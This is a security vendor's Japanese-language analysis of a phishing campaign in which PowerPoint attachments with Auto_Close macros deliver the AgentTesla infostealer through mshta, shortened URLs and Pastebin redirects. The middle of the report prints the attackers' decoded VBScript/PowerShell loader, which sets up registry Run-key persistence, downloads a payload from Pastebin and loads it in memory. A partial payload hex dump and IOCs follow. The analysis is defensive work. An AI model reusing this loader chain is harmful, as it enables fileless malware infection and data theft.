今年初めから、不正なパワーポイント(*.PPT)ファイルが添付されたフィッシングメールが拡散している事例が確認されている。AhnLab ASEC 分析チームでは、最近このような攻撃方式によって AgentTesla が最終的に実行されたことを確認したため、これについて報告する。
海外では以下のブログのように今年1月、情報流出型マルウェア、azorult がメールに添付された PPT を通して拡散した。(海外ブログ:https://appriver.com/resources/blog/january-2020/powerpoint-malware-references-drake-lyrics-drop-lokibot-azorult)
これと類似した拡散方式を利用して7月には azorult ではなく、AgentTesla という情報流出型マルウェアが拡散した。このマルウェアは AhnLab ASEC 分析チームが毎週アップロードしている「週間マルウェア統計」で確認できるように、TOP5内に常に登場する韓国国内で猛威を振るっているマルウェアである。
この種類のマルウェアは、以下の [図1] のようにメールに添付されている。
上記の通り、「COVID-19」により業務メールを確認できない人々に支払われた資金が返送されたという内容であり、ユーザーの確認を誘導している。COVID-19 をフィッシングのテーマとして利用する事例が、依然として存在することを再確認できる。
この PPT を開くとマクロコードが実行されるが、主に Auto_Open 関数の実行時に不正なマクロコードが実行されるのに対し、今回の種類では Auto_Close 関数の実行時に不正な機能を実行するコードが動作するようになっている。すなわち、PPT の閲覧を終了すると不正なコードが実行される。PPT 本文の内容は何も作成されていない。
コードは以下の [図2] のように乱雑に変数を分離して作成されているが、最終的に復号化されたコードは mshta を利用して不正な URL にアクセスする機能がすべてである。この URL にアクセスすると Pastebin サービス(Pastebin:テキストストレージサイトにプレーンテキストを保存できる Web アプリケーション)の Pastebin.com に連動され、このページに製作者が作成しておいた不正なスクリプトコードが接続される時のみ、機能を実行する。同じページにリダイレクトしても不正な行為が常に発現するわけではない。その理由は、リダイレクトされた Pastebin.com のページから、攻撃者のコードが削除されている場合があるためである。攻撃者は、特定の期間に不正なコードをアップロードしておき、それ以外の期間にはコードを除去しているものと思われる。
行為が発現すると、当社内部解析サービスである Rapit の一部画面で確認できるように、以下の [図3] のようなプロセスツリー構造で動作する。
PPT を閉じた時点でマクロが実行され、hxxps://j.mp/hjd67dashdgas7ha の短縮 URL にアクセスしたあと、内部コードによってスケジュール登録および pastebin.com へリダイレクトする。上記プロセスツリー構造において確認できるように、80分ごとに特定のアドレスへリダイレクトするようになっているが、このときのページのソースは以下の通りである。
このリダイレクトされたコードは現在削除されており、以下の [図5] のように確認することはできないが、解析当時はこれが発現し、コードが確認できた。
ソースで表示されるコードは難読化されているが、復号化すると以下のようなコードが確認できる。
document.write(unescape(“<script language=”VBScript”>
CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX””””, 0 : window.close””)”, “REG_SZ”
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\iamresearcher”, “$fucksecurityresearchers=’contactmeEX’.replace(‘contactme’,’I’);sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open(‘GET’,’https://%40%40%40%40@pastebin.com/raw/2=e=6=Y=Y=y=4=X’,$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split ‘-‘ |ForEach-Object {[char][byte]””0x$_””};$asciiString= $asciiChars -join ”|M;[Byte[]]$Cli2= iex(iex(‘(&(GCM *W-O*)’+ ‘Net.’+’WebC’+’lient)’+’.Dow’+’nload’+’Str’+’ing(”https://%40%40%40%40@pastebin.com/raw/s=s=9=g=t=X=t=D”).replace(”L=(+)=J”,”y/(J)\y”).replace(”y/(J)\y”,”0x”)’)) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS(‘MSBUILD.exe’,$Cli2)” , “REG_SZ”
Const HIDDEN_WINDOW = 0
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\”& strComputer & “\root\cimv2”)
Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)
errReturn = objProcess.Create( “powershell ((gp HKCU:\Software).iamresearcher)|IEX”, null, objConfig, intProcessID)
‘i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way
‘i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!
‘i am not a coder! bang 😉
self.close
</script>
“));
上記コードのように、レジストリ RUN キーを生成して ‘mshta vbscript:Execute(“CreateObject(“”Wscript.Shell””).Run “”powershell ((gp HKCU:\Software).iamresearcher)|IEX””, 0 : window.close”)’ のような値を登録して内部のコードを実行する。
登録されたレジストリ値に応じてこのコードは Powershell によって動作するが、上記のコードのように追加で Pastebin ページにアクセスし、そのデータをもう一度復号化したあと、最終的に実行されるようにする。
Powershell によってhxxps://pastebin.com/raw/s=s=9=g=t=X=t=Dに追加でアクセスして確認されるデータは、以下の通りである。
L=(+)=J4D, L=(+)=J5A, L=(+)=J90, L=(+)=J00, L=(+)=J03, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J04, L=(+)=J00, L=(+)=J00, L=(+)=J00,
L=(+)=JFF, L=(+)=JFF, L=(+)=J00, L=(+)=J00, L=(+)=JB8, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,
L=(+)=J40, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,
L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,
L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,
L=(+)=J80, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J0E, L=(+)=J1F, L=(+)=JBA, L=(+)=J0E, L=(+)=J00, L=(+)=JB4, L=(+)=J09, L=(+)=JCD,
L=(+)=J21, L=(+)=JB8, L=(+)=J01, L=(+)=J4C,
… (省略) …
このコードは、最終的に「L=(+)=J」のデータが削除され、「4D5A9000…」形式の PE となる。この時に完成したこの PE こそが、情報流出型マルウェアの AgentTesla である。ファイルレス(Fileless)形式で動作し、アンチウイルス製品による検知を困難にしている。
情報流出の機能を発現させるために、製作者は「社会工学的誘導方法を用いたメール、マクロを含む PPT、アクセスされた URL から二度の追加リダイレクトプロセスを経た pastebin コードの実行」という、多くのプロセスを実行するように製作している。これは、核心的なコードと C2 の把握を困難にするための攻撃者の意図的な努力であると思われる。
この種類のマルウェアは、上記メール以外にも以下の [図6] のように注文書確認の要請に偽装したメールによっても拡散している状況が確認された。
ユーザーは、メールの内容が本人だけが知りうる内容だからといって安心し、添付されたファイルを開く場合には、注意が必要である。攻撃者は、ユーザーを事前に把握したあと、メールの内容をふさわしい内容に偽装してターゲットとすることができるためである。出所が未確認のメールには必ず注意しなければならず、アンチウイルスソフトも定期的なアップデートが必要である。
現在 V3 では、上記のようなマルウェアを次のような診断名で診断している。
[ファイルの診断]
- Downloader/PPT.Generic.S1263
- Trojan/Win32.AgentTesla.C3468286
[関連IOC情報]
[C2]
- hxxps://j.mp/hjd67dashdgas7ha
- hxxps://pastebin.com/raw/D=0=K=c=R=H=2=D
- hxxps://pastebin.com/raw/s=s=9=g=t=X=t=D
[HASH]
- 7b167d121cac141d2ab8cca007fdc691
- 8c06a9f151dd0492f515b34885f12533
Categories: マルウェアの情報